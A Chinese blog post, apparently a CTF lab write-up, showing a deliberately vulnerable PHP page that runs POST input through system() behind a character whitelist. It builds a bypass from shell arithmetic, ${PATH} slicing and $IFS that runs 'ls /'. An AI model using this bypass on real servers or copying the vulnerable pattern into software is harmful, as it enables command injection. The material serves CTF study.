当前位置: 首页 > news >正文

受限字符+环境变量RCE

文章

https://blog.csdn.net/weixin_46706771/article/details/119145129

https://github.com/ProbiusOfficial/RCE-labs

搭建

<?php
//hint: flag 在根目录下,名字是一个根目录下不常见的文件名
error_reporting(0);
show_source(__FILE__);
$a = $_POST['a'];
$b = '(~SHIP}:{TAF$)';
if (strspn($a, $b) !== strlen($a)) {die('hacker!!!');
}
system("$a");
?>

Dockerfile

# 使用官方的 PHP 镜像作为基础镜像,基于 Apache
FROM php:7.4-apache# 启用mod_rewrite模块,可能对某些CTF题目有用
RUN a2enmod rewrite# 将当前目录的代码复制到容器中的 /var/www/html 目录
COPY . /var/www/html/# 设置工作目录
WORKDIR /var/www/html# 打开容器的80端口
EXPOSE 80# 启动Apache服务(由镜像默认启动)
CMD ["apache2-foreground"]
进入容器执行
ls -l /bin/sh  # 查看当前指向(例如 /bin/sh -> dash)
rm /bin/sh     # 删除旧链接(谨慎操作!)
ln -s /bin/bash /bin/sh  # 让 /bin/sh 指向 bash

这样system可以执行环境变量切片

复现

echo ${PATH:5:1}${PATH:11:1}

然后我们通过构造数字

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

但是这里我们有一个11 需要构造八进制的 0 1 3 实现

echo $((013))

输出11 所以我们这样构造即可

$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))

image-20250428104747324

最后构造整个ls / 空格使用 $IFS绕过

echo ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))):$((~$(($((~$(())))$((~$(())))))))}$IFS${PATH::$((~$(($((~$(())))$((~$(())))))))}

image-20250428104933433

这里是后面复现 所以东西不多 挺好的一个题目

http://www.xdnf.cn/news/198595.html

相关文章:

  • vue3:v-model的原理示例
  • python练习:求数字的阶乘
  • 思科bsp社招面试
  • JavaScript 与 Java 学习笔记
  • day9 python 热力图与子图的绘制
  • MYSQL——时间字段映射Java类型
  • 庙算兵棋推演AI开发初探(7-神经网络训练与评估概述)
  • FTP-网络文件服务器
  • 使用 Vue3 + Webpack 和 Vue3 + Vite 实现微前端架构(基于 Qiankun)
  • iVX 图形化编程如何改写后端开发新范式
  • EXCEL中跨行匹配两组数据
  • 流域生态系统碳排放、碳循环模拟与评估技术应用
  • 【基础篇】static_config采集配置详解
  • Vue 3 中通过 createApp 创建的 app 实例的所有核心方法,包含完整示例、使用说明及对比表格
  • 深入解析 PyTorch 中的 torch.distributions模块与 Categorical分布
  • 2025吃鸡变声器软件推荐
  • 【Vue3 组合式 API 在大型项目中的实践:useOperatorData 封装与应用】
  • 如何开发动态贴纸功能?一体化美颜SDK的技术实现思路与实战方案
  • Java 入门宝典--注释、关键字、数据类型、变量常量、类型转换
  • 服务器部署,Nginx安装和配置
  • 思维链理解汇总
  • 美团社招一面
  • 2025天津二类医疗器械经营备案攻略
  • AI 边缘盒子:智能与效率的边缘先锋
  • 生成对抗网络(Generative Adversarial Nets,GAN)
  • 知识付费平台推荐及对比介绍
  • Nacos源码—1.Nacos服务注册发现分析一
  • Coding Practice,48天强训(26)
  • 空间计算:开启人机交互新纪元的下一代技术范式
  • 安卓主题换肤功能